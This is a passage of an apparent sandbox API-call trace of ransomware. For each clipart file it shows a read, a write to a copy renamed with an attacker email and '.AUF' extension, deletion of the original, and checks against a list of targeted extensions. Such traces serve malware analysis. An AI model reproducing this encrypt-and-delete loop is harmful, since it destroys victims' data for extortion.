SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.098] GetLastError () returned 0x0 [0218.098] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x94a, lpOverlapped=0x0) returned 1 [0218.109] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x950, lpOverlapped=0x0) returned 1 [0218.110] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.110] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.110] SetEndOfFile (hFile=0x1d8) returned 1 [0218.110] CloseHandle (hObject=0x1d8) returned 1 [0218.110] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.110] SetEndOfFile (hFile=0x1f8) returned 1 [0218.111] CloseHandle (hObject=0x1f8) returned 1 [0218.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0218.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.111] lstrlenW (lpString=".doc") returned 4 [0218.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString=".docx") returned 5 [0218.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.112] lstrlenW (lpString=".pdf") returned 4 [0218.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString=".xls") returned 4 [0218.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.112] lstrlenW (lpString=".xlsx") returned 5 [0218.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.112] lstrlenW (lpString=".ppt") returned 4 [0218.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.112] lstrlenW (lpString=".zip") returned 4 [0218.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.112] lstrlenW (lpString=".rar") returned 4 [0218.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString=".bz2") returned 4 [0218.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString=".7z") returned 3 [0218.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.112] lstrlenW (lpString=".dbf") returned 4 [0218.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.112] lstrlenW (lpString=".1cd") returned 4 [0218.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0218.112] lstrlenW (lpString=".jpg") returned 4 [0218.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.112] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1044) returned 1 [0218.112] CloseHandle (hObject=0x1f8) returned 1 [0218.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0218.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.113] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.113] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.113] GetLastError () returned 0x0 [0218.113] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x414, lpOverlapped=0x0) returned 1 [0218.114] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x420, lpOverlapped=0x0) returned 1 [0218.115] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.115] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.115] SetEndOfFile (hFile=0x1d8) returned 1 [0218.115] CloseHandle (hObject=0x1d8) returned 1 [0218.116] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.116] SetEndOfFile (hFile=0x1f8) returned 1 [0218.116] CloseHandle (hObject=0x1f8) returned 1 [0218.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString=".doc") returned 4 [0218.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString=".docx") returned 5 [0218.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.117] lstrlenW (lpString=".pdf") returned 4 [0218.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString=".xls") returned 4 [0218.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.117] lstrlenW (lpString=".xlsx") returned 5 [0218.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.117] lstrlenW (lpString=".ppt") returned 4 [0218.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString=".zip") returned 4 [0218.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.117] lstrlenW (lpString=".rar") returned 4 [0218.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString=".bz2") returned 4 [0218.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString=".7z") returned 3 [0218.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString=".dbf") returned 4 [0218.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString=".1cd") returned 4 [0218.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0218.117] lstrlenW (lpString=".jpg") returned 4 [0218.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.118] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2166) returned 1 [0218.118] CloseHandle (hObject=0x1f8) returned 1 [0218.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0218.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.118] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.118] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.118] GetLastError () returned 0x0 [0218.118] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x876, lpOverlapped=0x0) returned 1 [0218.205] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x880, lpOverlapped=0x0) returned 1 [0218.205] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.205] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.205] SetEndOfFile (hFile=0x1d8) returned 1 [0218.304] CloseHandle (hObject=0x1d8) returned 1 [0218.304] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.304] SetEndOfFile (hFile=0x1f8) returned 1 [0218.304] CloseHandle (hObject=0x1f8) returned 1 [0218.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString=".doc") returned 4 [0218.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString=".docx") returned 5 [0218.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.383] lstrlenW (lpString=".pdf") returned 4 [0218.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString=".xls") returned 4 [0218.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.383] lstrlenW (lpString=".xlsx") returned 5 [0218.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.383] lstrlenW (lpString=".ppt") returned 4 [0218.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString=".zip") returned 4 [0218.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.383] lstrlenW (lpString=".rar") returned 4 [0218.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString=".bz2") returned 4 [0218.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString=".7z") returned 3 [0218.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString=".dbf") returned 4 [0218.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString=".1cd") returned 4 [0218.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0218.383] lstrlenW (lpString=".jpg") returned 4 [0218.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.569] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.569] GetLastError () returned 0x0 [0218.569] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0218.589] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0218.589] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.590] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.590] SetEndOfFile (hFile=0x20c) returned 1 [0218.590] CloseHandle (hObject=0x20c) returned 1 [0218.590] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.590] SetEndOfFile (hFile=0x1fc) returned 1 [0218.591] CloseHandle (hObject=0x1fc) returned 1 [0218.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString=".doc") returned 4 [0218.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString=".docx") returned 5 [0218.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.592] lstrlenW (lpString=".pdf") returned 4 [0218.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString=".xls") returned 4 [0218.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.592] lstrlenW (lpString=".xlsx") returned 5 [0218.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.592] lstrlenW (lpString=".ppt") returned 4 [0218.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString=".zip") returned 4 [0218.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.592] lstrlenW (lpString=".rar") returned 4 [0218.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString=".bz2") returned 4 [0218.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString=".7z") returned 3 [0218.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString=".dbf") returned 4 [0218.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString=".1cd") returned 4 [0218.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0218.592] lstrlenW (lpString=".jpg") returned 4 [0218.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.592] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3104) returned 1 [0218.592] CloseHandle (hObject=0x1fc) returned 1 [0218.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0218.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.593] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.593] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.593] GetLastError () returned 0x0 [0218.593] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xc20, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0218.604] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.604] SetEndOfFile (hFile=0x20c) returned 1 [0218.604] CloseHandle (hObject=0x20c) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.605] SetEndOfFile (hFile=0x1fc) returned 1 [0218.606] CloseHandle (hObject=0x1fc) returned 1 [0218.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0218.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.606] lstrlenW (lpString=".doc") returned 4 [0218.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.606] lstrlenW (lpString=".docx") returned 5 [0218.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.606] lstrlenW (lpString=".pdf") returned 4 [0218.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.606] lstrlenW (lpString=".xls") returned 4 [0218.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.606] lstrlenW (lpString=".xlsx") returned 5 [0218.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.606] lstrlenW (lpString=".ppt") returned 4 [0218.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.606] lstrlenW (lpString=".zip") returned 4 [0218.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.606] lstrlenW (lpString=".rar") returned 4 [0218.606] lstrcmpiW (lpString1=".rar", 